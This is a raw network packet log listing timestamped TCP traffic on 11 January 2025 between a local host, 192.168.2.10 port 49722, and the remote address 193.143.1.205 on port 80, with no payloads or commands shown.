Jan 11, 2025 06:04:07.028131008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.028908014 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.028920889 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.028933048 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.028944016 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.028954983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.028958082 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.028975010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.028975010 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.028989077 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.029000998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.029002905 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.029012918 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.029025078 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.029036045 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.029038906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.029061079 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.029073954 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.029804945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.029818058 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.029829979 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.029841900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.029855013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.029864073 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.029881001 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.056622982 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.056680918 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.056778908 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.087217093 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.094484091 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.094508886 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.094523907 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.094535112 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.094547033 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.094558954 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.094572067 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.094629049 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.094660044 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.094671965 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.094683886 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.094696045 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.094706059 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.094719887 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.094744921 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.115645885 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.115660906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.115674019 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.115719080 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.115748882 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.115752935 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.115777016 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.115797997 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.115809917 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.115822077 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.115833998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.115839005 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.115869999 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.115902901 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.115963936 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.119107008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.132755995 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.132775068 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.132787943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.132801056 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.132814884 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.132870913 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.132905960 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.132936954 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.132951021 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.132963896 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.132973909 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.132986069 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.132993937 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.133013010 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.133040905 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.154175043 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154190063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154216051 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154230118 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154237032 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.154242992 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154263020 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154285908 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.154305935 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.154306889 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154320002 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154356003 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.154377937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154423952 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154434919 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154460907 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.154490948 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154504061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154515028 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154531002 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.154556990 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.154719114 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154731035 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154742956 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154768944 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.154793978 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154805899 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154839039 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.154953003 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154964924 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154977083 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.154988050 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.155005932 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155016899 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.155018091 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155031919 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155051947 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.155086994 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155098915 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155111074 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155152082 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.155174017 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.155477047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155488014 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155500889 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155514956 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155527115 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155530930 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.155540943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155554056 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155561924 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.155582905 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.155607939 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155618906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155631065 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155642986 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.155642986 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155658007 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155674934 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155675888 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.155694008 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155699015 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.155705929 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.155740976 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.156603098 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156615973 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156629086 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156641006 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156642914 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.156653881 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156666040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156676054 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.156680107 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156702042 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.156723022 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.156747103 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156759024 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156770945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156780958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156794071 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156804085 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156810045 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.156816959 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156831026 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.156831980 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.156853914 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.156867981 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.159082890 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159106016 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159117937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159166098 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.159179926 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159192085 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159204006 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159224033 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.159241915 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.159254074 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159297943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159310102 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159333944 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.159349918 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159363031 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159399033 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.159419060 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159430981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159441948 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159456968 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159466028 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.159481049 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.159686089 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159760952 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159773111 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159785032 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159795046 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.159810066 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159821987 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.159821987 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159835100 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159842014 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.159847975 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159859896 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.159869909 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.159895897 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.185151100 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.185163021 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.185179949 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.185194016 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.185204983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.185206890 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.185251951 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.185282946 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.185296059 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.185309887 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.185317039 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.185322046 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.185345888 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.206537008 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206551075 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206563950 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206574917 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206588030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206593990 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.206599951 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206629992 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.206634998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206648111 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206660986 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206674099 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206679106 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.206702948 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.206727982 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206739902 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206752062 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206762075 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.206805944 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.207480907 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.223472118 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223519087 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223531961 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.223532915 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223546028 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223563910 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223565102 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.223577976 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223589897 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223599911 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.223635912 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.223704100 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223715067 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223731995 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223752975 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223753929 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.223771095 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223783970 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223784924 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.223795891 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223808050 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.223824978 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.223845005 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.244853020 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.244900942 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.244914055 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.244925022 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.244930983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.244942904 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.244951963 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.244961977 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.244976044 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.244987011 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245007992 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245012999 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245023012 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245031118 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245033979 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245045900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245058060 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245065928 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245069981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245099068 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245105982 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245111942 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245124102 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245138884 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245150089 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245170116 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245172977 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245193005 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245204926 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245217085 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245239973 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245400906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245413065 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245424032 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245434046 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245445967 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245455027 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245457888 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245477915 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245479107 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245491982 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245502949 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245513916 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245524883 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245527029 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245539904 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245556116 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245558977 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245569944 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245573044 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245585918 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245590925 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245604038 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245613098 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245616913 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245628119 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245640039 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245651960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245666981 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245678902 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245685101 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245697021 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245707989 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245718956 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245721102 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245743036 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245779037 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245794058 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245832920 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245872021 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245883942 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245896101 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245909929 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245920897 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245929956 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245940924 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245960951 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.245975018 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.245986938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.246020079 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.246028900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.246041059 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.246052027 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.246088982 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:04:07.246103048 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:04:07.246115923 CET	80	49722	193.143.1.205	192.168.2.10
